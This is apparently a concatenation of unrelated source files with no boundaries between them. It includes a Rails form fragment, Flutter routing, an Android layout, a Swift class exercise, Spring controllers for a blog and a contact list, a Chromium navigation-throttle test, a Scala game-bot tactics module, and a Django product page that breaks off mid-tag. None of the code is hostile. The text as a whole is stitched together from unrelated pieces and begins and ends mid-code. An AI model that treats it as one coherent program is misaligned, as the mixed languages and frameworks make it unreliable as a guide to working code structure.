hint_text ||= false } } %> <%= link_to_add_association 'Suggest a new ' + field_label, form, :person_suggestions, class: 'btn btn-warning btn-add', form_name: 'form', data: { 'association-insertion-node' => '#bibliography_author_suggestions', 'association-insertion-method' => 'append' }, partial: 'suggest_person_fields', render_options: {locals: {fieldname: 'author'}} %> </div> </div> </div> <script> $(document).ready(function() { function generate_settings(){ additional_settings = { dropdownParent: $(".bibliography_authors_parent") } settings = select2_config(".authors", "people"); return $.extend(settings, additional_settings); } $('.authors').select2( generate_settings() ); $("#bibliography_authors").on('cocoon:after-insert', function(e, insertedItem){ $('.authors').last().select2( generate_settings() ); }); }); </script>
import 'package:get/get.dart'; // bindings import 'package:docapp/src/bindings/settings_bindings.dart'; // routes import '../../bindings/editUSerName_binding.dart'; import '../../bindings/home_bindings.dart'; import '../../bindings/login_bindings.dart'; import '../../middlewares/auth.dart'; import '../../ui/views/editEmal.dart'; import '../../ui/views/editUserName.dart'; import '../../ui/views/homepage.dart'; import '../../ui/views/loginPage.dart'; import '../../ui/views/signUpPage.dart'; import './app_routes.dart'; // views import 'package:docapp/src/ui/views/error.dart'; import 'package:docapp/src/ui/views/settings.dart'; class AppPages { // ignore: constant_identifier_names static const String INITIAL = Routes.loginRoute; static final List<GetPage<dynamic>> routes = [ // login and registrations // GetPage( // name: Routes.splashRoute, // page: () => const SampleItemListView(), // ), GetPage( name: Routes.homeRoute, binding: HomeBinding(), page: () => HomePage(), middlewares: [ // AuthMiddleware(), ], ), GetPage( name: Routes.signUpRoute, page: () => SignUpPage(), binding: LoginBindings(), ), GetPage( name: Routes.editUserName, page: () => EditUserNamePage(), binding: EditBinding(), ), GetPage( name: Routes.editEmail, page: () => EditEmailPage(), binding: EditBinding(), ), GetPage( name: Routes.loginRoute, binding: LoginBindings(), page: () => LoginPage(), // middlewares: [ // ], ), GetPage( name: Routes.settingsRoute, page: () => SettingsView(), binding: SettingsBindings(), // children: [ // GetPage( // name: 'page1/', // page: () => const SampleItemListView(), // ), // GetPage( // name: 'page2/', // page: () => const SampleItemListView(), // ), // ] ), GetPage( name: Routes.errorRoute, page: () => ErrorView(), ), ]; }
<?xml version="1.0" encoding="utf-8"?> <ScrollView xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" > <androidx.constraintlayout.widget.ConstraintLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:padding="16dp" tools:context=".MainActivity"> <!-- Icono store --> <ImageView android:id="@+id/icon_cost_of_service" android:layout_width="wrap_content" android:layout_height="wrap_content" android:importantForAccessibility="no" app:srcCompat = "@drawable/ic_store" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="@+id/cost_of_service" app:layout_constraintBottom_toBottomOf="@+id/cost_of_service" /> <!-- Comentario - primeras dos lineas para fijar el edittext a parte superior --> <com.google.android.material.textfield.TextInputLayout android:id="@+id/cost_of_service" android:layout_width="160dp" android:layout_height="wrap_content" android:hint="@string/cost_of_service" android:inputType="numberDecimal" app:layout_constraintTop_toTopOf="parent" android:layout_marginStart="16dp" app:layout_constraintStart_toEndOf="@+id/icon_cost_of_service" > <com.google.android.material.textfield.TextInputEditText android:id="@+id/cost_of_service_edit_text" android:layout_width="match_parent" android:layout_height="wrap_content" android:inputType="numberDecimal" /> </com.google.android.material.textfield.TextInputLayout> <!-- Icono campanita --> <ImageView android:id="@+id/icon_service_question" android:layout_width="wrap_content" android:layout_height="wrap_content" android:importantForAccessibility="no" app:srcCompat = "@drawable/ic_service" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="@+id/service_question" app:layout_constraintBottom_toBottomOf="@+id/service_question" /> <TextView android:id="@+id/service_question" style="@style/Widget.TipTime.TextView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/service_question" android:layout_marginStart="16dp" app:layout_constraintStart_toEndOf="@+id/icon_cost_of_service" app:layout_constraintTop_toBottomOf="@id/cost_of_service" /> <RadioGroup android:id="@+id/tip_option" android:layout_width="wrap_content" android:layout_height="wrap_content" android:checkedButton="@id/option_twenty_percent" android:orientation="vertical" app:layout_constraintStart_toStartOf="@+id/service_question" app:layout_constraintTop_toBottomOf="@id/service_question"> <!-- Agregando opciones --> <RadioButton android:id="@+id/option_twenty_percent" style="@style/Widget.TipTime.CompoundButton.RadioButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/amazing_service" /> <RadioButton android:id="@+id/option_eighteen_percent" style="@style/Widget.TipTime.CompoundButton.RadioButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/good_service" /> <RadioButton android:id="@+id/option_fifteen_percent" style="@style/Widget.TipTime.CompoundButton.RadioButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/okay_service" /> </RadioGroup> <!-- Icono flecha --> <ImageView android:id="@+id/icon_round_up" android:layout_width="wrap_content" android:layout_height="wrap_content" android:importantForAccessibility="no" app:srcCompat = "@drawable/ic_round_up" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="@+id/round_up_switch" app:layout_constraintBottom_toBottomOf="@+id/round_up_switch" /> <com.google.android.material.switchmaterial.SwitchMaterial android:id="@+id/round_up_switch" style="@style/Widget.TipTime.CompoundButton.Switch" android:layout_width="0dp" android:layout_height="wrap_content" android:text="@string/round_question" app:layout_constraintEnd_toEndOf="parent" android:layout_marginStart="16dp" app:layout_constraintStart_toEndOf="@+id/icon_cost_of_service" app:layout_constraintTop_toBottomOf="@id/tip_option" tools:ignore="UseSwitchCompatOrMaterialXml" /> <Button android:id="@+id/calculate_button" android:layout_width="0dp" android:layout_height="wrap_content" android:text="@string/button_calculate" app:layout_constraintEnd_toEndOf="parent" android:layout_marginTop="8dp" app:layout_constraintStart_toStartOf="@+id/round_up_switch" app:layout_constraintTop_toBottomOf="@id/round_up_switch" /> <TextView android:id="@+id/tip_result" style="@style/Widget.TipTime.TextView" android:layout_width="wrap_content" android:layout_height="wrap_content" tools:text="Tip Amount: $10" app:layout_constraintEnd_toEndOf="parent" android:layout_marginTop="8dp" app:layout_constraintTop_toBottomOf="@id/calculate_button" /> </androidx.constraintlayout.widget.ConstraintLayout> </ScrollView>
import UIKit class Empregado{ var nome: String = "" var sobrenome: String = "" var dataNascimento: String = "" var cidadeNascimento: String = "" var funcao: String = "" var nomeCompleto: String { "\(nome) \(sobrenome)" } init(nome: String, sobrenome: String) { self.nome = nome self.sobrenome = sobrenome } func descricao() -> String { return "\(nomeCompleto), nascido em \(dataNascimento) na cidade de \(cidadeNascimento), oculpa a função de \(funcao)" } } //Crie uma instância da classe Empregado e atribua a uma variável. var empregado1 = Empregado(nome: "Silvio", sobrenome: "Pereira da Silva") //Realizado alterações no objeto empregado1.dataNascimento = "12/04/1988" empregado1.cidadeNascimento = "Salvador" empregado1.funcao = "Analista em Segurança de Redes" //Visualização do objeto "empregado1" print(empregado1.descricao()) //Nova variável atribuída a um objeto criado anteriormente var empregado = empregado1 print(empregado.descricao()) empregado.sobrenome = "Pereira da Silva Júnior" print(empregado.descricao()) print(empregado1.descricao()) var empregado2 = Empregado(nome: "Glauber", sobrenome: "Vieira") empregado = empregado2 print(empregado1.descricao()) print(empregado2.descricao()) print(empregado.descricao()) empregado.funcao = "Analista de Sistema" print(empregado2.descricao()) empregado2.cidadeNascimento = "Paulo Afonso" print(empregado1.descricao()) print(empregado2.descricao()) print(empregado.descricao()) //É possível identificar que as duas variáveis tem a mesma referência de memória.
package com.selog.controller; import java.util.HashMap; import java.util.List; import java.util.Map; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import com.selog.dto.ArticleDto; import com.selog.dto.CommentDto; import com.selog.dto.MemberDto; import com.selog.dto.MsgVo; import com.selog.service.ArticleService; import com.selog.service.MemberService; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpSession; @Controller public class ArticleController { @Autowired private ArticleService articleService; @Autowired private MemberService memberService; /* * article detail view */ @GetMapping("/@{username}/{memberPageId}") public String showArticle( @PathVariable String username , @PathVariable int memberPageId , HttpServletRequest request , Model model) { // article의 uri를 Map에 넣어서 mybatis mapper의 parameter로 사용가능하도록 가공. Map<String, Object> uri = new HashMap<>(); uri.put("username", username); uri.put("memberPageId", memberPageId); // uri를 통해서 매핑된 게시글 가져오기. ArticleDto article = articleService.getArticleByUri(uri); HttpSession session = request.getSession(); boolean isLiked = false; // 로그인 상태라면 게시글에 대한 좋아요 정보를 가져온다. if(session.getAttribute("user") != null){ @SuppressWarnings("unchecked") List<Map<String, Integer>> likes = (List<Map<String, Integer>>) session.getAttribute("likes"); if(likes != null) { for(Map<String, Integer> like : likes){ // [좋아요를 누른 적이 있다면]: 게시글 아이디가 같으면 해당 게시글에 대한 좋아요 정보가 존재하는 것이다. if(like.get("article_id") == article.getId()){ isLiked = true; break; } } } } model.addAttribute("isLiked", isLiked); model.addAttribute("article", article); model.addAttribute("newComment", new CommentDto()); return "/article/articleView"; } /* * 좋아요(likes) 처리 로직. */ @GetMapping("/@{username}/{memberPageId}/likes") public String doLikes( @PathVariable String username , @PathVariable int memberPageId , @RequestParam String articleId , HttpServletRequest request , Model model) { // session 가져오기. (세션이 없다면 생성하지 않고 null 반환) HttpSession session = request.getSession(); // [session에 저장된 user가 존재하는 경우]: 로그인 상태. if(session.getAttribute("user") != null){ // session에 넣어준 likes 리스트를 받아오기. @SuppressWarnings("unchecked") List<Map<String, Integer>> likes = (List<Map<String, Integer>>) session.getAttribute("likes"); boolean isLiked = false; // [좋아요를 누른 게시물이 하나라도 존재하는 경우] -> 해당 게시글과 일치하는 좋아요 정보가 있는지 찾음. // 좋아요 정보가 아예 존재하지 않는다면 바로 좋아요 로직 실행. if(likes != null) { for(Map<String, Integer> like : likes){ int likeArticleId = like.get("article_id"); // [해당 게시물에 좋아요를 누른적이 있는 경우]: 좋아요한 게시글의 아이디와 해당 게시글의 아이디가 같음. if(likeArticleId == Integer.parseInt(articleId)){ isLiked = true; break; } } } // [좋아요 취소]: like에 레코드가 이미 존재하는 경우. if(isLiked){ // likes 테이블에서 레코드를 삭제하기. Map<String, Object> likeMap = new HashMap<>(); likeMap.put("article_id", articleId); likeMap.put("member_id", ( (MemberDto) session.getAttribute("user")).getId()); articleService.cancelLike(likeMap); // 세션 초기화. session.removeAttribute("likes"); List<Map<String, Integer>> newLikes = memberService.getLikes(( (MemberDto) session.getAttribute("user")).getId()); session.setAttribute("likes", newLikes); // [좋아요 누르기]: like에 레코드가 존재하지 않는 경우. } else { // likes 테이블에 레코드를 추가하기. Map<String, Object> likeMap = new HashMap<>(); likeMap.put("article_id", articleId); likeMap.put("member_id", ( (MemberDto) session.getAttribute("user")).getId()); articleService.doLike(likeMap); // 세션 초기화. session.removeAttribute("likes"); List<Map<String, Integer>> newLikes = memberService.getLikes(( (MemberDto) session.getAttribute("user")).getId()); session.setAttribute("likes", newLikes); } // [session 존재하지 않음] } else { // 메세지 객체를 생성해서 로그인 후 이용 가능 안내 페이지로 보냄. MsgVo msg = new MsgVo(); model.addAttribute("msg", msg); return "/util/msgPage"; } return String.format("redirect:/@%s/%d", username, memberPageId); } /* * article write logic. */ @GetMapping("/write") public String writeArticleForm(Model model, HttpServletRequest request) { // session 가져오기. HttpSession session = request.getSession(); // [session 존재하지 않음] if(session.getAttribute("user") == null){ // 메세지 객체를 생성해서 로그인 후 이용 가능 안내 페이지로 보냄. MsgVo msg = new MsgVo(); msg.setMsgContent("게시글을 작성하시려면 로그인 해주십시오."); model.addAttribute("msg", msg); return "/util/msgPage"; } model.addAttribute("article", new ArticleDto()); return "/article/writeForm"; } /* * post article */ @PostMapping("/postArticle") public String postArticle(HttpServletRequest request, ArticleDto article) { MemberDto user = (MemberDto) request.getSession().getAttribute("user"); // article 객체에 작성자 정보 초기화. article.setAuthorId(user.getId()); article.setAuthor(user); articleService.postArticle(article); return "redirect:/selog"; } /* * add comment */ @PostMapping("/@{username}/{memberPageId}/addComment") public String addComment( @PathVariable String username, @PathVariable int memberPageId, CommentDto newComment, HttpServletRequest request, Model model ) { // session 가져오기. MemberDto user = (MemberDto) request.getSession().getAttribute("user"); // [session 존재하지 않을 경우.] if(user == null){ // 메세지 객체를 생성해서 로그인 후 이용 가능 안내 페이지로 보냄. MsgVo msg = new MsgVo(); model.addAttribute("msg", msg); return "/util/msgPage"; } Map<String, Object> articleUri = new HashMap<>(); articleUri.put("username", username); articleUri.put("memberPageId", memberPageId); newComment.setMemberId(user.getId()); newComment.setAuthor(user); newComment.setArticleUri(articleUri); articleService.addComment(newComment); return String.format("redirect:/@%s/%d", username, memberPageId); } }
// Copyright 2024 The Chromium Authors // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/fingerprinting_protection_filter/browser/fingerprinting_protection_child_navigation_throttle.h" #include <memory> #include <string> #include "base/functional/bind.h" #include "base/strings/stringprintf.h" #include "base/test/metrics/histogram_tester.h" #include "components/subresource_filter/content/shared/browser/child_frame_navigation_test_utils.h" #include "components/subresource_filter/core/mojom/subresource_filter.mojom.h" #include "content/public/browser/navigation_handle.h" #include "content/public/test/navigation_simulator.h" #include "testing/gtest/include/gtest/gtest.h" #include "url/gurl.h" namespace fingerprinting_protection_filter { namespace { using ::subresource_filter::ChildFrameNavigationFilteringThrottleTestHarness; using ::subresource_filter::SimulateCommitAndGetResult; using ::subresource_filter::SimulateRedirectAndGetResult; using ::subresource_filter::SimulateStartAndGetResult; const char kDisallowedConsoleMessageFormat[] = "Placeholder: %s"; const char kFilterDelayDisallowed[] = "FingerprintingProtection.DocumentLoad.SubframeFilteringDelay.Disallowed"; const char kFilterDelayWouldDisallow[] = "FingerprintingProtection.DocumentLoad.SubframeFilteringDelay." "WouldDisallow"; const char kFilterDelayAllowed[] = "FingerprintingProtection.DocumentLoad.SubframeFilteringDelay.Allowed"; class FingerprintingProtectionChildNavigationThrottleTest : public ChildFrameNavigationFilteringThrottleTestHarness { public: FingerprintingProtectionChildNavigationThrottleTest() = default; FingerprintingProtectionChildNavigationThrottleTest( const FingerprintingProtectionChildNavigationThrottleTest&) = delete; FingerprintingProtectionChildNavigationThrottleTest& operator=( const FingerprintingProtectionChildNavigationThrottleTest&) = delete; ~FingerprintingProtectionChildNavigationThrottleTest() override = default; // content::WebContentsObserver: void DidStartNavigation( content::NavigationHandle* navigation_handle) override { ASSERT_FALSE(navigation_handle->IsInMainFrame()); // The |parent_filter_| is the parent frame's filter. Do not register a // throttle if the parent is not activated with a valid filter. if (parent_filter_) { auto throttle = std::make_unique<FingerprintingProtectionChildNavigationThrottle>( navigation_handle, parent_filter_.get(), base::BindRepeating([](const GURL& filtered_url) { // TODO(https://crbug.com/40280666): Implement new console // message. return base::StringPrintf( kDisallowedConsoleMessageFormat, filtered_url.possibly_invalid_spec().c_str()); })); ASSERT_EQ("FingerprintingProtectionChildNavigationThrottle", std::string(throttle->GetNameForLogging())); navigation_handle->RegisterThrottleForTesting(std::move(throttle)); } } }; TEST_F(FingerprintingProtectionChildNavigationThrottleTest, DelayMetrics) { base::HistogramTester histogram_tester; ChildFrameNavigationFilteringThrottleTestHarness:: InitializeDocumentSubresourceFilter(GURL("https://example.test")); ChildFrameNavigationFilteringThrottleTestHarness:: CreateTestSubframeAndInitNavigation( GURL("https://example.test/allowed.html"), main_rfh()); navigation_simulator()->SetTransition(ui::PAGE_TRANSITION_AUTO_SUBFRAME); EXPECT_EQ(content::NavigationThrottle::PROCEED, SimulateStartAndGetResult(navigation_simulator())); EXPECT_EQ(content::NavigationThrottle::BLOCK_REQUEST_AND_COLLAPSE, SimulateRedirectAndGetResult( navigation_simulator(), GURL("https://example.test/disallowed.html"))); navigation_simulator()->CommitErrorPage(); histogram_tester.ExpectTotalCount(kFilterDelayDisallowed, 1); histogram_tester.ExpectTotalCount(kFilterDelayWouldDisallow, 0); histogram_tester.ExpectTotalCount(kFilterDelayAllowed, 0); ChildFrameNavigationFilteringThrottleTestHarness:: CreateTestSubframeAndInitNavigation( GURL("https://example.test/allowed.html"), main_rfh()); EXPECT_EQ(content::NavigationThrottle::PROCEED, SimulateStartAndGetResult(navigation_simulator())); EXPECT_EQ(content::NavigationThrottle::PROCEED, SimulateCommitAndGetResult(navigation_simulator())); histogram_tester.ExpectTotalCount(kFilterDelayDisallowed, 1); histogram_tester.ExpectTotalCount(kFilterDelayWouldDisallow, 0); histogram_tester.ExpectTotalCount(kFilterDelayAllowed, 1); } TEST_F(FingerprintingProtectionChildNavigationThrottleTest, DelayMetricsDryRun) { base::HistogramTester histogram_tester; ChildFrameNavigationFilteringThrottleTestHarness:: InitializeDocumentSubresourceFilter( GURL("https://example.test"), subresource_filter::mojom::ActivationLevel::kDryRun); ChildFrameNavigationFilteringThrottleTestHarness:: CreateTestSubframeAndInitNavigation( GURL("https://example.test/allowed.html"), main_rfh()); navigation_simulator()->SetTransition(ui::PAGE_TRANSITION_AUTO_SUBFRAME); EXPECT_EQ(content::NavigationThrottle::PROCEED, SimulateStartAndGetResult(navigation_simulator())); EXPECT_EQ(content::NavigationThrottle::PROCEED, SimulateRedirectAndGetResult( navigation_simulator(), GURL("https://example.test/disallowed.html"))); navigation_simulator()->Commit(); histogram_tester.ExpectTotalCount(kFilterDelayDisallowed, 0); histogram_tester.ExpectTotalCount(kFilterDelayWouldDisallow, 1); histogram_tester.ExpectTotalCount(kFilterDelayAllowed, 0); ChildFrameNavigationFilteringThrottleTestHarness:: CreateTestSubframeAndInitNavigation( GURL("https://example.test/allowed.html"), main_rfh()); EXPECT_EQ(content::NavigationThrottle::PROCEED, SimulateStartAndGetResult(navigation_simulator())); EXPECT_EQ(content::NavigationThrottle::PROCEED, SimulateCommitAndGetResult(navigation_simulator())); histogram_tester.ExpectTotalCount(kFilterDelayDisallowed, 0); histogram_tester.ExpectTotalCount(kFilterDelayWouldDisallow, 1); histogram_tester.ExpectTotalCount(kFilterDelayAllowed, 1); } } // namespace } // namespace fingerprinting_protection_filter
package com.intertech.controller; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.propertyeditors.CustomDateEditor; import org.springframework.stereotype.Controller; import org.springframework.validation.Errors; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.InitBinder; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.servlet.ModelAndView; import com.intertech.domain.Contact; import com.intertech.service.ContactService; @Controller public class ContactController { @Autowired private ContactService contactService; public void setContactService(ContactService contactService) { this.contactService = contactService; } @InitBinder protected void initBinder(WebDataBinder binder) { DateFormat dateFormat = new SimpleDateFormat("d-MM-yyyy"); CustomDateEditor editor = new CustomDateEditor(dateFormat, true); binder.registerCustomEditor(Date.class, editor); } @ExceptionHandler(org.springframework.validation.BindException.class) protected String badData(Errors errors) { return "unsuccessfuladd"; } @RequestMapping(value = "addcontact.request", method = RequestMethod.GET) protected String showContactForm() { return "editcontact"; } @RequestMapping(value = "addcontact.request", method = RequestMethod.POST) protected String addContact(Contact contact) { contactService.addContact(contact); return "successfuladd"; } @RequestMapping("deletecontact.request") protected String deleteContact(@RequestParam int id) { contactService.removeContact(id); return "forward:/displaycontacts.request"; } @RequestMapping("displaycontacts.request") protected ModelAndView displayContacts() { List<Contact> contacts = contactService.getContacts(); return new ModelAndView("displaycontacts", "contactList", contacts); } }
package strategy import model.EntityType._ import model._ import scala.collection.mutable object TacticsLogic extends StrategyPart { def potentialTargets(who: Entity, types: Seq[EntityType])(implicit g: GameInfo): Seq[Entity] = { g.region(who.position).enemyN9(types).filter(target => canAttack(who, target)) } def canAttack(who: Entity, target: Entity): Boolean = who.entityType.attack match { case Some(AttackProperties(r, _, _)) => target.position.distanceTo(who.position) <= r case None => false } def unitsThatCanAttack(enemy: Entity)(implicit g: GameInfo): Seq[Entity] = g.region(enemy.position).myN9(Seq(RANGED_UNIT, MELEE_UNIT, TURRET)) .filter(u => !g.reservedUnits.contains(u) && canAttack(u, enemy)) def findOneshotUnits(types: Seq[EntityType])(implicit g: GameInfo): Seq[Entity] = g.enemyEntities.filter(x => types.contains(x.entityType) && g.powerMap(x.position.x)(x.position.y) >= x.health) def findLethal(enemy: Entity)(implicit g: GameInfo): Option[Seq[Entity]] = { val units = unitsThatCanAttack(enemy) val totalDmg = units.map(_.damage).sum Option.when(totalDmg >= enemy.health)( units.sortBy(e => e.entityType match { case MELEE_UNIT => 1 case RANGED_UNIT => 2 case TURRET => 3 case BUILDER_UNIT => 4 case _ => 5 }).foldLeft((Seq[Entity](), 0)) { case ((res, sum), cur) if sum < enemy.health => (res :+ cur, sum + cur.damage) case (x, _) => x } ).map(_._1) } def getActions(implicit g: GameInfo): Map[Int, EntityAction] = { var res: mutable.Map[Int, EntityAction] = mutable.Map() //find oneshoot val unitsToDie = findOneshotUnits(Seq(RANGED_UNIT, MELEE_UNIT)).sortBy(e => e.entityType match { case RANGED_UNIT => 1 case MELEE_UNIT => 2 case BUILDER_UNIT => 3 }) for ( enemy <- unitsToDie; units <- findLethal(enemy); u <- units) { g.reservedEnemy += enemy res += g.attack(u, enemy) } def findTargetToAttack(who: Entity, types: Seq[EntityType]): Option[Entity] = potentialTargets(who, types).filter(t => !g.reservedEnemy.contains(t)).sortBy(x => x.health - g.getDamageTo(x)).headOption def rangerFight(r: Entity) = { findTargetToAttack(r, Seq(RANGED_UNIT)) .orElse(findTargetToAttack(r, Seq(MELEE_UNIT))) .orElse(findTargetToAttack(r, Seq(BUILDER_UNIT))) .orElse(findTargetToAttack(r, Seq(TURRET))).map { e => g.attack(r, e) } } def meleeFight(r: Entity) = rangerFight(r) def gotToClosest(r: Entity, maxRange: Int, filter: Entity => Boolean): Option[(Int, EntityAction, Entity)] = Pathfinding.findClosestReachable(r.position.x, r.position.y, filter, maxRange).flatMap{ case (_, Seq()) => None case (entity, path) => g.paths += path val (i, a) = g.move(r, path.head) Some((i, a, entity)) } def gotToClosestEnemy(r: Entity, maxRange: Int, types: Seq[EntityType]): Option[(Int, EntityAction, Entity)] = gotToClosest(r, maxRange, x => x.isEnemy && types.contains(x.entityType)) def gotToClosestFriend(r: Entity, maxRange: Int, types: Seq[EntityType]) = Pathfinding.findClosestReachable(r.position.x, r.position.y, x => x != r && !x.isEnemy && types.contains(x.entityType), maxRange) .filter(x => x._1.position.distanceTo(r.position) != 1).map { //we already close to closest case (entity, path) => g.paths += path g.move(r, path.head) } def goToBestPower(r: Entity): Option[(Int, EntityAction)] = cellsInRangeV(r.position, 1, g.mapSize) .filter(x => g.canMoveToNextTurn(r.position.toProd, x)).maxByOption({ case (x, y) => g.powerMap(x)(y) }) .filterNot(x => x == r.position.toProd) .map { case (x, y) => g.move(r, Vec2Int(x, y)) } def goToLeastDamageIn5(r: Entity): Option[(Int, EntityAction)] = cellsInRangeV(r.position, 1, g.mapSize) .filter(x => g.canMoveToNextTurn(r.position.toProd, x)) .minByOption({ case (x, y) => damageIn(x, y, 1) }) .filterNot(x => x == r.position.toProd) .map { case (x, y) => g.move(r, Vec2Int(x, y)) } def damageIn(x: Int, y: Int, size: Int): Int = cellsInRange(x, y, size, g.mapSize).map { case (x, y) => g.dangerMap(x)(y) }.sum def rangerAi(r: Entity) = { val possibleDamageTaken = g.dangerMap(r.position.x)(r.position.y) val powerAtPosition = g.powerMap(r.position.x)(r.position.y) val reg = g.region(r.position) if (possibleDamageTaken > 0) { //possible this turn damage val eMelee1 = reg.enemyN9(Seq(MELEE_UNIT)).count(e => distance(e.position.toProd, r.position.toProd) <= 1) val eMelee2 = reg.enemyN9(Seq(MELEE_UNIT)).count(e => distance(e.position.toProd, r.position.toProd) <= 2) if (eMelee1 >= 1 && r.health > 5) { goToLeastDamageIn5(r).orElse(rangerFight(r)).orElse(goToBestPower(r)).map(res += _) } else if (eMelee1 >= 1) { rangerFight(r).orElse(goToBestPower(r)).map(res += _) } else if (eMelee2 >= 1) { goToLeastDamageIn5(r).orElse(rangerFight(r)).orElse(goToBestPower(r)).map(res += _) } else { rangerFight(r).orElse(goToBestPower(r)).map(res += _) } /* val stayAtPosition = possibleDamageTaken <= powerAtPosition val weProbablyDead = possibleDamageTaken >= r.health if (stayAtPosition | weProbablyDead) { rangerFight(r).orElse { Option.when(weProbablyDead)(goToBestPower(r)).flatten }.map {case (i, e) => res += i -> e} } else { goToLeastDamageIn5(r).orElse(rangerFight(r)).orElse(goToBestPower(r)).map(res += _) }*/ } else { val neighDamage = damageIn(r.position.x, r.position.y, 1) if (neighDamage >= 5) { // neighbour cell on fire val eMelee = reg.enemyN9(Seq(MELEE_UNIT)).count(e => distance(e.position.toProd, r.position.toProd) <= 2) if (eMelee >= 1) { goToLeastDamageIn5(r).orElse(rangerFight(r)).orElse(goToBestPower(r)).map(res += _) } else { rangerFight(r).orElse(goToBestPower(r)).map(res += _) } } else rangerFight(r).map(res += _) } } var rangedTargets: Set[Entity] = Set() def followDifferentRangers(m: Entity): Option[(Int, EntityAction)] = { gotToClosest(m, 6, x => x.isEnemy && x.entityType == RANGED_UNIT && !rangedTargets.contains(x)).map { case (i, a, e) => rangedTargets += e (i, a) } } def meleeAi(m: Entity) = { val possibleDamageTaken = g.dangerMap(m.position.x)(m.position.y) val powerAtPosition = g.powerMap(m.position.x)(m.position.y) val reg = g.region(m.position) if (possibleDamageTaken > 0) { //possible this turn damage meleeFight(m).orElse(followDifferentRangers(m)) .orElse { gotToClosestEnemy(m, 6, Seq(RANGED_UNIT, MELEE_UNIT, TURRET)).map { case (i, a, _) => (i, a) } } .map(res += _) } else { val neighDamage = damageIn(m.position.x, m.position.y, 2) if (neighDamage >= 5) { // neighbour cell on fire if (reg.power9 >= reg.danger9 * 1.5) { followDifferentRangers(m) .orElse { gotToClosestEnemy(m, 6, Seq(RANGED_UNIT, MELEE_UNIT, TURRET)).map { case (i, a, _) => (i, a) } } .orElse(gotToClosestFriend(m, 5, Seq(MELEE_UNIT))).map(res += _) } else { goToLeastDamageIn5(m).map(res += _) } } else { } } } def turretAi(m: Entity) = { if(rangerFight(m).isEmpty){ res += (m.id -> EntityAction(None, None, Some(AttackAction(None, Some(AutoAttack(0, Seq())))), None )) } } for (r <- g.myRangedUnits.filter(r => !g.reservedUnits.contains(r))) { rangerAi(r) } for (t <- g.my(TURRET).filter(t => !g.reservedUnits.contains(t))) { turretAi(t) } for (m <- g.myMeleeUnits.filter(m => !g.reservedUnits.contains(m))) { meleeAi(m) } res.toMap } }
{% extends "base.html" %} {% load static %} {% block page_header %} {% include 'includes/rest-of-site-nav.html' %} {% endblock %} {% block content %} <div class="overlay"></div> <div class="container-fluid"> {% if product.element %} <div class="row"> <div class="col-12 col-lg-4 offset-lg-2" id="content-wrapper"> <!-- prod image slider/selector --> <div class="column"> <img id=featured src="{{ product.image_1.url }}" > <div id="slide-wrapper"> <div id="slider"> <img class="thumbnail active" src="{{ product.image_1.url }}" alt="{{ product.name }}"> {% if product.image_2 %} <img class="thumbnail" src="{{ product.image_2.url }}" alt="{{ product.name }}"> {% endif %} {% if product.image_3 %} <img class="thumbnail" src="{{ product.image_3.url }}" alt="{{ product.name }}"> {% endif %} {% if product.image_4 %} <img class="thumbnail" src="{{ product.image_4.url }}" alt="{{ product.name }}"> {% endif %} </div> </div> </div> </div> <div class="col-12 col-lg-4 offset-lg-1"> <div class="product-details-container text-cent mb-5 mt-md-5"> <p class="mb-0"><strong>{{ product.name }}</strong></p> <p class="lead mb-0 text-left font-weight-bold text-{{ product.element.name }}">€{{ product.price }}</p> {% if product.category %} <p class="small mt-1 mb-0"> <a class="text-muted" href="{% url 'products' %}?category={{ product.category.name }}"> <i class="fas fa-tag mr-1"></i>{{ product.category.friendly_name }} </a> </p> {{ product.element }} {% endif %} {% if product.rating %} <!-- prod rating --> <small class="text-muted"><i class="fas fa-star mr-1 text-{{ product.element.name }}"></i>{{ product.rating }} / 5</small> {% else %} <small class="text-muted">No Rating</small> {% endif %} <!-- edit or delete prod --> {% if request.user.is_superuser %} <small class="ml-3"> <a href="{% url 'edit_product' product.id %}">Edit</a> | <a class="text-danger" href="{% url 'delete_product' product.id %}">Delete</a> </small> {% endif %} <p class="mt-3">{{ product.description }}</p> <form class="form" action="{% url 'add_to_cart' product.id %}" method="POST"> {% csrf_token %} <div class="form-row"> {% with product.has_sizes as s %} {% if s %} <div class="col-12"> <!-- size selector --> <p><strong>Size:</strong></p> <select class="form-control rounded-0 w-50" name="product_size" id='id_product_size'> <option value="xs">XS</option> <option value="s">S</option> <option value="m" selected>M</option> <option value="l">L</option> <option value="xl">XL</option> </select> </div> {% endif %} <!-- quantity selector --> <div class="col-12"> <p class="mt-3"><strong>Quantity:</strong></p> <div class="form-group w-50"> <div class="input-group"> <div class="input-group-prepend"> <button class="decrement-qty btn btn-{{ product.element }} decrement-qty_{{ product.id }}" data-item_id="{{ product.id }}"> <span class="icon"> <i class="fas fa-minus"></i> </span> </button> </div> <input class="form-control qty_input" type="number" name="quantity" value="1" min="1" max="99" data-item_id="{{ product.id }}" id="id_qty_{{ product.id }}"> <div class="input-group-append"> <button class="increment-qty btn btn-{{ product.element }} increment-qty_{{ product.id }}" data-item_id="{{ product.id }}"> <span class="icon"> <i class="fas fa-plus"></i> </span> </button> </div> </div> </div> </div> <div class="col-12"> <a href="{% url 'products' %}" class="btn btn-outline-{{ 